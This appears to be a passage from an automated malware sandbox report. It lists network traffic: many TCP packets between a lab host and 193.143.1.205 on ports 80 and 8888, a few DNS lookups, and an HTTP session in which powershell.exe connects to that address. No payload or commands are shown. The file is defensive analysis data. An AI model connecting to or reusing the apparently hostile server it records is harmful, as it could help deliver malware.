Jan 11, 2025 02:05:14.944737911 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.944746017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.944758892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.944758892 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.944802999 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.944828987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.944842100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.944854021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.944861889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.944865942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.944880962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.944888115 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.944915056 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.944947004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.944961071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945008039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.945072889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945086956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945115089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945117950 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.945164919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945199966 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.945244074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945256948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945269108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945280075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945287943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.945292950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945312023 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.945328951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945363045 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.945492029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945506096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945518017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945529938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945538998 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.945543051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945557117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945563078 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.945569992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945581913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945590019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.945615053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.945760012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945780039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945801020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945813894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945817947 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.945828915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945838928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.945847034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.945874929 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.955271959 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.976414919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.976438046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.976449966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.976507902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.976516962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.976530075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.976600885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.976615906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.976634026 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.976739883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.976752043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.976768970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.976778984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.976792097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.976813078 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.976882935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.989809036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.989820957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.989830971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.989866018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.989878893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.989891052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.989902020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.989912033 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.989963055 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.990386963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.990406036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.990462065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.990493059 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.990520000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.990530968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.990565062 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.990648985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.990659952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.990678072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.990679979 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.990690947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.990700960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.990712881 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.990729094 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.990819931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.990880013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.990890026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.990900040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.990907907 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.990909100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.990932941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.026627064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.026648045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.026663065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.026679039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.026721954 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.026736975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.026751995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.026762962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.026788950 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.026801109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.026839972 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.027009010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027053118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027065039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027096033 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.027199984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027214050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027234077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027244091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.027246952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027261972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027276039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.027309895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027319908 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.027364969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027378082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027405024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.027431965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027462959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027471066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.027549028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027560949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027574062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027585983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.027616024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.027700901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027714014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027726889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027766943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.027801991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027815104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027827978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027842045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027842045 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.027870893 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.027946949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027960062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027972937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.027985096 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.028013945 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.028033972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028048038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028059006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028072119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028084040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028094053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.028096914 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028130054 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.028143883 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.028318882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028395891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028408051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028419971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028426886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028430939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.028440952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028459072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.028486967 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.028654099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028666973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028678894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028688908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028701067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028703928 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.028714895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028727055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028728962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.028739929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028755903 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.028781891 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.028985023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.028997898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029021025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029035091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029036999 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.029052973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029066086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029074907 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.029079914 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029092073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029103041 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.029103994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029117107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029129028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029134989 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.029143095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029155016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.029156923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029171944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029180050 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.029186964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029216051 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.029714108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029727936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029746056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029756069 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.029757977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029771090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029783010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029783964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.029798031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029810905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029815912 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.029824972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029835939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029850006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029853106 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.029864073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029869080 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.029877901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.029890060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.029920101 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.030231953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.030245066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.030256987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.030270100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.030282974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.030294895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.030307055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.030312061 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.030348063 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.063364983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.063389063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.063400984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.063478947 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.063541889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.063558102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.063571930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.063584089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.063613892 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.063652039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.063690901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.076694012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.076751947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.076764107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.076817989 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.076859951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.076873064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.076884985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.076955080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077012062 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.077012062 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.077296972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077318907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077330112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077338934 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.077368021 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.077414989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077428102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077464104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.077555895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077569962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077581882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077605963 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.077622890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077636003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077646971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077661991 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.077685118 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.077765942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077779055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077790976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077804089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077811956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.077815056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.077846050 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.113441944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.113462925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.113473892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.113512039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.113540888 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.113564968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.113594055 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.113600969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.113610029 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.113615036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.113656044 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.113759995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.113770962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.113817930 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.113866091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.113877058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.113888979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.113905907 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.114006042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.114017963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.114029884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.114042044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.114043951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.114056110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.114064932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.114109039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.114134073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.114171028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:15.114207983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.142576933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.325215101 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.595948935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:15.999497890 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:16.004344940 CET	8888	49722	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:16.004503012 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:16.004784107 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:16.009614944 CET	8888	49722	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:16.806126118 CET	8888	49722	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:16.858474016 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:17.178467035 CET	49722	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:05:23.481354952 CET	53910	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:05:23.481354952 CET	192.168.2.6	1.1.1.1	0xca67	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:05:23.488430977 CET	1.1.1.1	192.168.2.6	0xca67	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:05:24.257488012 CET	1.1.1.1	192.168.2.6	0x52bf	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:05:24.257488012 CET	1.1.1.1	192.168.2.6	0x52bf	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:06:41.069664955 CET	1.1.1.1	192.168.2.6	0xa67d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:06:41.069664955 CET	1.1.1.1	192.168.2.6	0xa67d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:07:05.131084919 CET	1.1.1.1	192.168.2.6	0x3baf	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:07:05.131084919 CET	1.1.1.1	192.168.2.6	0x3baf	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	193.143.1.205	80	6324	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
